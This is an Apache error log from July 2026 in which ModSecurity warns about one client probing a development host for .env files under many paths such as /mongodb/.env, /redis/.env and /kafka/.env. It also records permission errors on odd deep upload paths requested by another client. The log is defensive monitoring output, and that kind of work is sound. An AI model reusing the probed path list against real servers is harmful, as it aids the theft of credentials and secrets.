[Fri Jul 17 09:15:25.477960 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVSRF0UOO1RzB5_8xcwAAAA4"]
[Fri Jul 17 09:15:25.646135 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mongodb/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mongodb/.env"] [unique_id "almlVYe39YUk0SgV8AU9lgAAABE"]
[Fri Jul 17 09:15:25.647276 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mongodb/.env"] [unique_id "almlVYe39YUk0SgV8AU9lgAAABE"]
[Fri Jul 17 09:15:25.847464 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVYe39YUk0SgV8AU9lgAAABE"]
[Fri Jul 17 09:15:26.019622 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /redis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/redis/.env"] [unique_id "almlVvwooI4qY7Jg93pY7AAAABM"]
[Fri Jul 17 09:15:26.021478 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/redis/.env"] [unique_id "almlVvwooI4qY7Jg93pY7AAAABM"]
[Fri Jul 17 09:15:26.054137 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:26.230330 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:26.282228 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVvwooI4qY7Jg93pY7AAAABM"]
[Fri Jul 17 09:15:26.318851 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS2/irq
[Fri Jul 17 09:15:26.462213 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /elasticsearch/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/elasticsearch/.env"] [unique_id "almlVlCBpfuYyhJ140vWDwAAAB4"]
[Fri Jul 17 09:15:26.463970 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/elasticsearch/.env"] [unique_id "almlVlCBpfuYyhJ140vWDwAAAB4"]
[Fri Jul 17 09:15:26.677604 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVlCBpfuYyhJ140vWDwAAAB4"]
[Fri Jul 17 09:15:26.848073 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/rabbitmq/.env"] [unique_id "almlVo-0g_VSPeIeFN3DngAAAAs"]
[Fri Jul 17 09:15:26.849290 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/rabbitmq/.env"] [unique_id "almlVo-0g_VSPeIeFN3DngAAAAs"]
[Fri Jul 17 09:15:26.999081 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:27.182775 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVo-0g_VSPeIeFN3DngAAAAs"]
[Fri Jul 17 09:15:27.347377 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:27.357901 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kafka/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/kafka/.env"] [unique_id "almlV_wooI4qY7Jg93pY7gAAABM"]
[Fri Jul 17 09:15:27.359107 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/kafka/.env"] [unique_id "almlV_wooI4qY7Jg93pY7gAAABM"]
[Fri Jul 17 09:15:27.451075 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:40/subsystem/tty/uevent"] [unique_id "almlVw5GPQ6hs4VrfMpFVwAAAAY"]
[Fri Jul 17 09:15:27.451128 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:40/subsystem/tty/uevent"] [unique_id "almlVw5GPQ6hs4VrfMpFVwAAAAY"]
[Fri Jul 17 09:15:27.655718 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlV_wooI4qY7Jg93pY7gAAABM"]
[Fri Jul 17 09:15:27.759099 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:27.826579 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /queue/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/queue/.env"] [unique_id "almlV4l9vhFBGA6D8l99kAAAAAw"]
[Fri Jul 17 09:15:27.828435 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/queue/.env"] [unique_id "almlV4l9vhFBGA6D8l99kAAAAAw"]
[Fri Jul 17 09:15:28.088368 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlV4l9vhFBGA6D8l99kAAAAAw"]
[Fri Jul 17 09:15:28.257150 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /worker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/worker/.env"] [unique_id "almlWDsMb3am0TgkjETeHAAAAAo"]
[Fri Jul 17 09:15:28.258351 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/worker/.env"] [unique_id "almlWDsMb3am0TgkjETeHAAAAAo"]
[Fri Jul 17 09:15:28.262996 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:28.466836 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:28.468804 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWDsMb3am0TgkjETeHAAAAAo"]
[Fri Jul 17 09:15:28.576533 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:28.723177 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /job/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/job/.env"] [unique_id "almlWEgVnBK6wAv37w6wBAAAABQ"]
[Fri Jul 17 09:15:28.724510 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/job/.env"] [unique_id "almlWEgVnBK6wAv37w6wBAAAABQ"]
[Fri Jul 17 09:15:28.784533 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:28.946601 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWEgVnBK6wAv37w6wBAAAABQ"]
[Fri Jul 17 09:15:29.121003 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/test/.env"] [unique_id "almlWfwooI4qY7Jg93pY8AAAABM"]
[Fri Jul 17 09:15:29.122932 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/test/.env"] [unique_id "almlWfwooI4qY7Jg93pY8AAAABM"]
[Fri Jul 17 09:15:29.292750 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWfwooI4qY7Jg93pY8AAAABM"]
[Fri Jul 17 09:15:29.388929 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:29.461653 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /qa/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/qa/.env"] [unique_id "almlWbEWOaI5pmYo9fnSMwAAAAA"]
[Fri Jul 17 09:15:29.462889 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/qa/.env"] [unique_id "almlWbEWOaI5pmYo9fnSMwAAAAA"]
[Fri Jul 17 09:15:29.489764 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:29.679704 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWbEWOaI5pmYo9fnSMwAAAAA"]
[Fri Jul 17 09:15:29.849645 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /preview/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/preview/.env"] [unique_id "almlWUgVnBK6wAv37w6wBQAAABQ"]
[Fri Jul 17 09:15:29.851486 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/preview/.env"] [unique_id "almlWUgVnBK6wAv37w6wBQAAABQ"]
[Fri Jul 17 09:15:30.081907 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlWUgVnBK6wAv37w6wBQAAABQ"]
[Fri Jul 17 09:15:30.096974 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:30.250023 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/beta/.env"] [unique_id "almlWvwooI4qY7Jg93pY8QAAABM"]
[Fri Jul 17 09:15:30.251309 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/beta/.env"] [unique_id "almlWvwooI4qY7Jg93pY8QAAABM"]
[Fri Jul 17 09:15:30.302195 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:30.405005 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
